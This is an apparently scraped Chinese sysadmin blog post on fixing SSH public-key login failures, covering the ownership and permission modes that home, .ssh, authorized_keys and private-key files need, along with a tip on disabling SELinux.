Shell代码 复制代码 收藏代码
vi /etc/selinux/config
SELINUX=disabled
vi /etc/selinux/config
SELINUX=disabled
ssh可同时支持publickey和password两种授权方式,publickey默认不开启,需要配置为yes。
如果客户端不存在.ssh/id_rsa,则使用password授权;存在则使用publickey授权;如果publickey授权失败,依然会继续使用password授权。
SSH公钥认证Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).的问题
https://fengqi.me/unix/176.html
作者:风起 发布时间:日 分类:Unix 评论:0 原文链接: SSH关于公钥认证Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).的问题
SSH对公钥、私钥的权限和所有权的要求是非常严格的,总结如下:
1、下面两个目录的所有权必须是user,所属组也应该是user,权限必须为700
\home\user
\home\user\.ssh
2、下面公钥文件的所有权必须是user,所属组也应该是user,权限必须为644
\home\user\.ssh\authorized_keys
3、下面私钥文件的所有权必须是user,所属组也应该是user,权限必须是600
\home\user\.ssh\id_rsa
周末的时候, 把原本独立分区的home, 挂载成了opt, home就放到/一起了, 然后ssh-key登录就死活上不去.
今天才突然想起来, 原home分区给/opt后, /下是没有home目录的, 后来就root新建了一个目录, 默认新建目录权限是755, ssh要求是700才行.
关注“Linux运维技术”微信公众号
2016年九月
12131415161718
19202122232425
2627282930

我要回帖

更多关于 115浏览器打不开网页 的文章

 

随机推荐